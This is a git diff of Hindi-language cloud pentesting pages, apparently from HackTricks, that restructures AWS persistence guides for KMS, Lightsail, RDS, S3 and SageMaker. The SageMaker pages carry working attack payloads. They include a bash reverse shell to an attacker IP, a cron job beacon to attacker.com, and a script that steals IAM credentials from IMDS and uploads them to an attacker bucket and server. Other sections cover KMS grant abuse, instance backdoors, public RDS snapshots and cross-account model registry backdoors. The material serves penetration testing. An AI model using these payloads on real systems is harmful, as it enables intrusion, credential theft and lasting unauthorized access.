दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए। - -(हम 10 का उपयोग कर रहे हैं और 2 का नहीं ताकि यह पता चल सके कि एक अनुदान हटा दिया गया था जबकि उपयोगकर्ता के पास अभी भी कुछ अनुदान हैं) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> एक ग्रांट केवल इस से अनुमतियाँ दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..c4269b1b1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Grant acces via KMS policies + +एक attacker **`kms:PutKeyPolicy`** permission का उपयोग करके किसी key पर अपने नियंत्रण वाले user या यहां तक कि external account को **give access** दे सकता है। अधिक जानकारी के लिए [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) देखें। + +### Eternal Grant + +Grants एक और तरीका हैं जिससे किसी principal को किसी specific key पर कुछ permissions दिए जा सकते हैं। यह संभव है कि किसी user को ऐसे grant दिए जाएं जो user को नए grants बनाने की अनुमति दें। इसके अलावा, एक user के पास एक ही key पर कई grants (यहां तक कि समान भी) हो सकते हैं। + +इसलिए, संभव है कि किसी user के पास सभी permissions वाले 10 grants हों। attacker को इसे लगातार मॉनिटर करना चाहिए। और अगर किसी बिंदु पर 1 grant हटा दिया जाता है तो तुरंत और 10 generate किए जाने चाहिए। + +(हम 10 का उपयोग 2 की बजाय इसलिए कर रहे हैं ताकि यह पता चल सके कि जब user के पास अभी भी कुछ grant मौजूद हों तब भी एक grant हटा दिया गया था) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> A grant केवल इन permissions ही दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index 645e03f05..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### डाउनलोड इंस्टेंस SSH कुंजी और DB पासवर्ड - -वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है - -### बैकडोर इंस्टेंस - -एक हमलावर इंस्टेंस तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है: - -- उदाहरण के लिए एक पारंपरिक **rootkit** का उपयोग करना -- एक नया **public SSH key** जोड़ना -- बैकडोर के साथ पोर्ट नॉकिंग के साथ एक पोर्ट को उजागर करना - -### DNS स्थिरता - -यदि डोमेन कॉन्फ़िगर किए गए हैं: - -- अपने IP की ओर इशारा करने वाला एक उपडोमेन बनाएं ताकि आपके पास **subdomain takeover** हो -- डोमेन से **emails** भेजने की अनुमति देने वाला **SPF** रिकॉर्ड बनाएं -- **मुख्य डोमेन IP को अपने खुद के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..8e77a97e2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +For more information check: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### इंस्टेंस SSH keys और DB पासवर्ड डाउनलोड करें + +वे शायद बदले नहीं जाएंगे, इसलिए उन्हें रखना persistence के लिए एक अच्छा विकल्प है + +### Backdoor Instances + +एक attacker instances तक access प्राप्त कर सकता है और उन्हें backdoor कर सकता है: + +- उदाहरण के लिए पारंपरिक **rootkit** का उपयोग करके +- एक नया **public SSH key** जोड़ना +- port knocking और backdoor का उपयोग कर एक पोर्ट expose करना + +### DNS persistence + +यदि domains कॉन्फ़िगर किए गए हैं: + +- अपने IP की ओर point करने वाला एक subdomain बनाएं ताकि आपको **subdomain takeover** मिल सके +- domain से **emails** भेजने की अनुमति देने वाला **SPF** record बनाएं +- मुख्य domain IP को अपने IP पर कॉन्फ़िगर करें और अपने IP से legit ones पर **MitM** करें + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index e336d83d0..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS स्थिरता - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### इंस्टेंस को सार्वजनिक रूप से सुलभ बनाएं: `rds:ModifyDBInstance` - -इस अनुमति के साथ एक हमलावर **एक मौजूदा RDS इंस्टेंस को सार्वजनिक सुलभता सक्षम करने के लिए संशोधित कर सकता है**। -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### DB के अंदर एक एडमिन यूजर बनाएं - -एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल भी दिया जाए तो वह **डेटाबेस तक पहुंच नहीं खोता**। - -### स्नैपशॉट को सार्वजनिक बनाएं -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..cbb8cba24 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### इंस्टेंस को सार्वजनिक रूप से सुलभ बनाना: `rds:ModifyDBInstance` + +इस अनुमति वाले attacker **मौजूदा RDS इंस्टेंस को सार्वजनिक रूप से सुलभ करने के लिए संशोधित कर सकता है**। +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### DB के अंदर एक admin user बनाएं + +एक attacker बस **DB के अंदर एक user बना सकता है** ताकि भले ही master users password बदल दिया जाए, वह **database तक अपनी पहुँच खो न दे**। + +### Snapshot को public करें +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index 166e93fa8..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS Client-Side Encryption - -जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके: - -
- -इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा। - -### Using S3 ACLs - -हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..c23a08e01 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +For more information check: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +एन्क्रिप्शन प्रक्रिया पूरी होने पर उपयोगकर्ता KMS API का उपयोग करके एक नया key जनरेट करेगा (`aws kms generate-data-key`) और वह फ़ाइल के metadata के अंदर जनरेट की गई एन्क्रिप्टेड कुंजी को **संग्रहित करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब फ़ाइल डिक्रिप्ट की जाए तो इसे KMS का उपयोग करके फिर से डिक्रिप्ट किया जा सके: + +
+ +इसलिए, attacker metadata से इस कुंजी को प्राप्त कर सकता है और KMS (`aws kms decrypt`) के साथ इसे डिक्रिप्ट करके उस कुंजी को हासिल कर सकता है जिसका उपयोग जानकारी को एन्क्रिप्ट करने में किया गया था। इस तरह attacker के पास एन्क्रिप्शन कुंजी आ जाएगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया गया है तो attacker उसका उपयोग कर सकेगा। + +### Using S3 ACLs + +हालाँकि सामान्यतः buckets की ACLs disabled रहती हैं, पर्याप्त privileges वाला attacker उनकी दुरुपयोग कर सकता है (यदि वे enabled हों या attacker उन्हें enable कर सके) ताकि वह S3 bucket तक अपनी पहुँच बनाए रख सके। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index 58876d004..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Overview of Persistence Techniques - -यह अनुभाग SageMaker में स्थिरता प्राप्त करने के तरीकों को रेखांकित करता है, जिसमें Lifecycle Configurations (LCCs) का दुरुपयोग करना शामिल है, जैसे कि रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर। ये स्क्रिप्ट इंस्टेंस के IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है। -#### Note: SageMaker नोटबुक इंस्टेंस मूल रूप से मशीन लर्निंग कार्यभार के लिए विशेष रूप से कॉन्फ़िगर की गई प्रबंधित EC2 इंस्टेंस हैं। - -## Required Permissions -* Notebook Instances: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* स्टूडियो एप्लिकेशन: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## नोटबुक उदाहरणों पर जीवनचक्र कॉन्फ़िगरेशन सेट करें - -### उदाहरण AWS CLI कमांड: -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## SageMaker स्टूडियो पर जीवनचक्र कॉन्फ़िगरेशन सेट करें - -जीवनचक्र कॉन्फ़िगरेशन को विभिन्न स्तरों पर और SageMaker स्टूडियो के भीतर विभिन्न ऐप प्रकारों के लिए जोड़ा जा सकता है। - -### स्टूडियो डोमेन स्तर (सभी उपयोगकर्ता) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### स्टूडियो स्पेस स्तर (व्यक्तिगत या साझा स्पेस) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Studio Application Lifecycle Configurations के प्रकार - -Lifecycle configurations को विशेष रूप से विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर लागू किया जा सकता है: -* JupyterServer: Jupyter सर्वर स्टार्टअप के दौरान स्क्रिप्ट चलाता है, जो रिवर्स शेल और क्रॉन जॉब्स जैसे पर्सिस्टेंस मैकेनिज्म के लिए आदर्श है। -* KernelGateway: कर्नेल गेटवे ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुंच के लिए उपयोगी है। -* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाली स्क्रिप्टों को सक्षम करता है। - -### प्रत्येक प्रकार के लिए उदाहरण कमांड: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Critical Info: -* डोमेन या स्पेस स्तर पर LCCs को संलग्न करना सभी उपयोगकर्ताओं या अनुप्रयोगों को प्रभावित करता है जो दायरे में हैं। -* उच्च अनुमतियों की आवश्यकता होती है (sagemaker:UpdateDomain, sagemaker:UpdateSpace) जो आमतौर पर स्पेस स्तर पर डोमेन स्तर की तुलना में अधिक व्यावहारिक होती हैं। -* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त ईग्रेस फ़िल्टरिंग) सफल रिवर्स शेल या डेटा एक्सफिल्ट्रेशन को रोक सकते हैं। - -## Reverse Shell via Lifecycle Configuration - -SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट्स को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है। - -### Payload Example: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistence via Lifecycle Configuration - -एक हमलावर LCC स्क्रिप्ट के माध्यम से क्रोन जॉब्स इंजेक्ट कर सकता है, जिससे दुर्भावनापूर्ण स्क्रिप्ट या कमांड का आवधिक निष्पादन सुनिश्चित होता है, जिससे छिपी हुई स्थिरता सक्षम होती है। - -### Payload Example: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Credential Exfiltration via IMDS (v1 & v2) - -Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location. - -### Payload Example: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..5819d2fef --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Persistence Techniques का अवलोकन + +यह अनुभाग SageMaker में Persistence प्राप्त करने के तरीकों को बताता है, जिनमें Lifecycle Configurations (LCCs) का दुरुपयोग करके reverse shells, cron jobs, credential theft via IMDS, और SSH backdoors शामिल हैं। ये scripts instance के IAM role के साथ चलते हैं और restarts के बाद भी persist रह सकते हैं। अधिकांश techniques को outbound network access की आवश्यकता होती है, लेकिन AWS control plane की सेवाओं का उपयोग तब भी सफल हो सकता है यदि environment 'VPC-only" mode में हो। + +> [!TIP] +> नोट: SageMaker notebook instances मूलतः managed EC2 instances हैं जो विशेष रूप से machine learning workloads के लिए कॉन्फ़िगर किए गए हैं। + +## आवश्यक अनुमतियाँ +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio Applications: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## नोटबुक इंस्टेंस पर लाइफसाइकल कॉन्फ़िगरेशन सेट करें + +### उदाहरण AWS CLI कमांड: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## SageMaker Studio पर Lifecycle Configuration सेट करें + +Lifecycle Configurations को SageMaker Studio के भीतर विभिन्न स्तरों और अलग-अलग ऐप प्रकारों पर जोड़ा जा सकता है। + +### Studio Domain स्तर (सभी उपयोगकर्ता) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space स्तर (Individual or Shared Spaces) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Studio एप्लिकेशन लाइफसाइकल कॉन्फ़िगरेशन के प्रकार + +लाइफसाइकल कॉन्फ़िगरेशन को विशेष रूप से विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर लागू किया जा सकता है: +* JupyterServer: Jupyter server startup के दौरान स्क्रिप्ट्स चलाता है, जो persistence mechanisms जैसे reverse shells और cron jobs के लिए आदर्श है। +* KernelGateway: KernelGateway ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुँच के लिए उपयोगी है। +* CodeEditor: Code Editor (Code-OSS) पर लागू होता है, यह उन स्क्रिप्ट्स को सक्षम बनाता है जो code editing sessions की शुरुआत पर चलती हैं। + +### प्रत्येक प्रकार के लिए उदाहरण कमांड: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### CodeEditor +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### महत्वपूर्ण जानकारी: +* डोमेन या स्पेस स्तर पर LCCs संलग्न करने से स्कोप के भीतर सभी उपयोगकर्ता या एप्लिकेशन प्रभावित होते हैं। +* इसके लिए उच्च अनुमतियाँ (sagemaker:UpdateDomain, sagemaker:UpdateSpace) आवश्यक होती हैं; आमतौर पर स्पेस स्तर पर यह डोमेन की तुलना में अधिक व्यवहार्य होता है। +* नेटवर्क-स्तरीय नियंत्रण (उदा., strict egress filtering) सफल reverse shells या data exfiltration को रोक सकते हैं। + +## Lifecycle Configuration के माध्यम से Reverse Shell + +SageMaker Lifecycle Configurations (LCCs) तब कस्टम स्क्रिप्ट चलाती हैं जब notebook instances शुरू होते हैं। किसी अटैकर के पास उपयुक्त अनुमतियाँ होने पर वह एक स्थायी reverse shell स्थापित कर सकता है। + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence के माध्यम से Lifecycle Configuration + +एक हमलावर LCC scripts के माध्यम से cron jobs इंजेक्ट कर सकता है, जिससे malicious scripts या commands का नियतकालिक निष्पादन सुनिश्चित होता है और stealthy persistence संभव हो जाता है। + +### Payload उदाहरण: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration के माध्यम से IMDS (v1 & v2) + +Lifecycle configurations Instance Metadata Service (IMDS) को क्वेरी करके IAM credentials प्राप्त कर सकते हैं और उन्हें हमलावर द्वारा नियंत्रित स्थान पर exfiltrate कर सकते हैं। + +### Payload उदाहरण: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Persistence via Model Registry resource policy (PutModelPackageGroupPolicy) + +एक SageMaker Model Package Group पर resource-based policy का दुरुपयोग करके किसी external principal को cross-account अधिकार दिए जा सकते हैं (उदा., CreateModelPackage/Describe/List)। यह एक टिकाऊ backdoor बनाता है जो attacker के IAM user/role को victim account से हटा दिया जाने पर भी poisoned model versions push करने या model metadata/artifacts पढ़ने की अनुमति देता है। + +आवश्यक अनुमतियाँ +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +कदम (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Notes +- एक वास्तविक cross-account backdoor के लिए, Resource को specific group ARN तक सीमित करें और Principal में attacker’s AWS account ID का उपयोग करें। +- end-to-end cross-account deployment या artifact reads के लिए, S3/ECR/KMS grants को attacker account के साथ align करें। + +Impact +- Model Registry group का persistent cross-account नियंत्रण: attacker malicious model versions publish कर सकता है या model metadata को enumerate/read कर सकता है, भले ही उनकी IAM entities victim account से हटाई जा चुकी हों। + +## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + +SageMaker Canvas user settings का दुरुपयोग करके model registry writes को चुपचाप attacker-controlled account पर redirect करें, ModelRegisterSettings को enable करके और CrossAccountModelRegisterRoleArn को किसी अन्य account के attacker role की ओर point करके। + +Required permissions +- sagemaker:UpdateUserProfile target UserProfile पर +- ऐच्छिक: sagemaker:CreateUserProfile उस Domain पर जिसे आप नियंत्रित करते हैं + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 4d4d68187..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Secrets Manager Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -अधिक जानकारी के लिए देखें: - -{{#ref}} 